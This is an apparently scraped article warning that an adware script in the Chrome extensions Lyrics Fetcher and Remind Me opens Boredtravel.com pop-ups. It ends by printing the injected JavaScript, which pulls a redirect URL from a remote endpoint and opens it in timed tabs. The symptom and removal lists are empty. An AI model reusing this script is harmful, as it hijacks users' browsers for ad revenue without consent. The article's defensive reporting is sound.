An adware that opens pop-ups to Boredtravel.com has slipped into some Chrome extensions. Here's how to spot and remove this virus.<\/p>\n\n\n\n\n\n
A malicious script has been inserted in the latest update of several Chrome extensions. This script opens the site Boredtravel.com without the knowledge of the users, at regular intervals of time. The extensions infected by this script are Lyrics Fetcher and Remind Me, from the helpfulwebtech developer.<\/p>\n\n\n\n
This adware is not dangerous in that it only opens an advertising page. It is nevertheless disturbing to let this dubious practice occur.<\/p>\n\n\n\n
To identify the adware, just analyze the behavior of your browser:<\/p>\n\n\n\n
The removal is simple and fast:<\/p>\n\n\n\n
Cases have been identified for extensions Lyrics Fetcher<\/a> and Remind Me<\/a>, but they may not be the only ones. It is possible the adware is also present on the extension Baby Mode<\/a>, an extension of the same developer. <\/p>\n\n\n\n It is unclear whether the developer of this extension deliberately added the malicious script, or if it was done by a hacker. As a precaution, we recommend that you disable or remove all extensions from this developer. <\/p>\n\n\n\n The extensions have been reported to Google, we will know more soon. If other extensions have the same concern, do not hesitate to let us know.<\/p>\n\n\n\n Here are some alternative extensions:<\/p>\n\n\n\n The principle is simple, the developer or a hacker has added a script in the concerned extensions. This script, which runs in the background, instructs the browser to open an advertising page at regular intervals. The goal for the developer or hacker is that the landing page is opened a number of times. This allows to increase the number of views of the site Boredtravel.com and increase the related income.<\/p>\n\n\n\n Here is the code that has been added in the extension. I added green comments so you understand better<\/p>\n\n\nReplace extensions<\/h3>\n\n\n\n
The work of Boredtravel.com<\/h2>\n\n\n\n
\n<script>\n\n\n\/\/ fonction qui ouvre un pop-up 6 minutes apr\u00e8s le d\u00e9marrage de Chrome\n setTimeout(function () { \n $.ajax({\n url: "https:\/\/demo7530752.mockable.io\/url",\n \/* cette URL g\u00e9n\u00e8re un lien du type\n https:\/\/ourshort.com\/?g\/BNHzHJJ *\/\n async: false,\n dataType: 'json',\n success: function (data) {\n\n \/\/ouverture du lien g\u00e9n\u00e9r\u00e9, qui redirige ensuite vers Boredtravel.com\n var newURL = data.msg;\n chrome.tabs.create({ url: newURL }); ;\n intervalWebsite() \/* appel de la fonction qui ouvre\n un pop-up toutes les 4 heures *\/\n }\n });\n }, 6 * 60 * 1000) \/\/ 6 x 60 x 1000 millisecondes = 6 min\n\n\n\/\/ fonction qui ouvre un pop-up toutes les 4 heures\n function intervalWebsite() {\n setInterval(function () {\n $.ajax({\n url: "https:\/\/demo7530752.mockable.io\/url",\n \/\/ comme dans la premi\u00e8re fonction\n async: false,\n dataType: 'json',\n success: function (data) {\n\n \/\/ comme dans la premi\u00e8re fonction\n var newURL = data.msg;\n chrome.tabs.create({ url: newURL }); ;\n\n }\n });\n }, 240 * 60 * 1000)\/\/ 240 x 60 x 1000 millisecondes = 240 min = 4h\n }\n\n\n<\/script>\n<\/pre><\/div>\n\n\n